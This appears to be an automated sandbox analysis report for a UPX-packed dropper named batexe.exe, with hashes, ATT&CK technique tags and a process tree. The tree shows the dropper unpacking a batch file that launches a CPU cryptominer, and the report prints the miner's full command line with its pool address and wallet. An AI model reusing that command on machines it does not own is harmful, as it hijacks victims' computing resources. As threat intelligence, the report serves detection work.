73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17-02-2024 08:07

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
5012	b2e.exe
3248	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3248	cpuminer-sse2.exe
3248	cpuminer-sse2.exe
3248	cpuminer-sse2.exe
3248	cpuminer-sse2.exe
3248	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2508-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 5012	2508	batexe.exe	84
PID 2508 wrote to memory of 5012	2508	batexe.exe	84
PID 2508 wrote to memory of 5012	2508	batexe.exe	84
PID 5012 wrote to memory of 5108	5012	b2e.exe	85
PID 5012 wrote to memory of 5108	5012	b2e.exe	85
PID 5012 wrote to memory of 5108	5012	b2e.exe	85
PID 5108 wrote to memory of 3248	5108	cmd.exe	88
PID 5108 wrote to memory of 3248	5108	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Users\Admin\AppData\Local\Temp\953B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\953B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\953B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9858.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3248

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\953B.tmp\b2e.exe

Filesize
19.1MB

MD5
0a73821b85851ef6d3b17ea3bb67695d

SHA1
d654a6c01346aba192f03382c098ef3a70c8e27d

SHA256
e5ec9fce7dd0a0d7e4d5a09b0a1ccada55b894d76e443c36eb6e8d3befc49cae

SHA512
39498cda325d4b75e2a726776bfe04377f1442e9acdd4726cefceaa5c5756cbf00a19ebe94ca45b127f3c5e09a63e651e5c28cb5ec5c63e699de13ef461b2ae3

Download Submit
C:\Users\Admin\AppData\Local\Temp\953B.tmp\b2e.exe

Filesize
11.3MB

MD5
1d2780ec12346ce8fd031023e31f6c80

SHA1
b1413d899c30a941bcc1181c023742f1817ce186

SHA256
d4bad0e6d354302d8424da88b399ba5ef08f3bfe62ca7346a8e6d5c01794b844

SHA512
a5a429c07cfa9a02f17ecb64cc016837e89d2e0b65f9cde14b1b822dc44966a7e3abb5d20cc4c04593fe0cbab6f06bc44c9a0055318b9bead59327540724d238

Download Submit
C:\Users\Admin\AppData\Local\Temp\953B.tmp\b2e.exe

Filesize
11.1MB

MD5
9f8a6a26287aedc66a03b36c1f2b639b

SHA1
1acd73bbaecc5152c640d4839ac4151caae1dd6d

SHA256
90ec42c0d081504170a33739e61e0710104deb04fc61f4d19c7574d8cce7897e

SHA512
6f45960b72480ec35c407c1a4de7d9fe72cf6768b20a52225bc0d59aaec9fabac0fda5957e8171bd6358b3e811c7755458b7f9a8d6b8b8d20122d916d26fed5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\9858.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
7903482b246cb75d0b61d99a12072fc0

SHA1
feec1208485810108482e2147bf89f8f6c97a933

SHA256
f01b05b7d0708bc3d2cde76b53f349476a0b67d048100cd0846a2c9c1e7bb75d

SHA512
23fcb791c53d7a36cc7f8840a543739c4cf36bcc6f704d9b03b687003de130fa6a8a2d3f0a9462c795a585a5bff998dc8215b8ac80e8be5e8ee45241f7fb7929

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
20d39f9eb584cf40d3dfde5a9917d815

SHA1
7c3b0bf4cfc8066495143288ed7f19a53498739d

SHA256
6e072854de87a2428f0878e1d5e09436d8da7878e4bbbbda9a03d1771b2f7cee

SHA512
7659643bbacaadf300925f0b57bc24be161779cb22af7e25d3ebb60ebcf53662bde00ba9a6ac1ec604c1060bdeb9fa8bb8b2f564e8135f135375b2e8ca828b60

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
a233fed13554cb4f6917ea1151e02af4

SHA1
8e6f22798547c61c8a70d64fd9014e502bca7e86

SHA256
ed9dbadbc62c573c04895c1b33abea09f67e154bc8e6034f534076f88307c441

SHA512
1339db1cdf7335f7bb5af84cf077660ab9c7adb441f577df0fa4f4a163895885e66a3a5067d9612a2644dfdf1d8a6d4f3e8ae76dd107e699d11bae3a478fe086

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2508-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3248-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3248-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-46-0x00000000569B0000-0x0000000056A48000-memory.dmp

Filesize
608KB

Download
memory/3248-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3248-47-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/3248-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3248-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5012-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5012-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download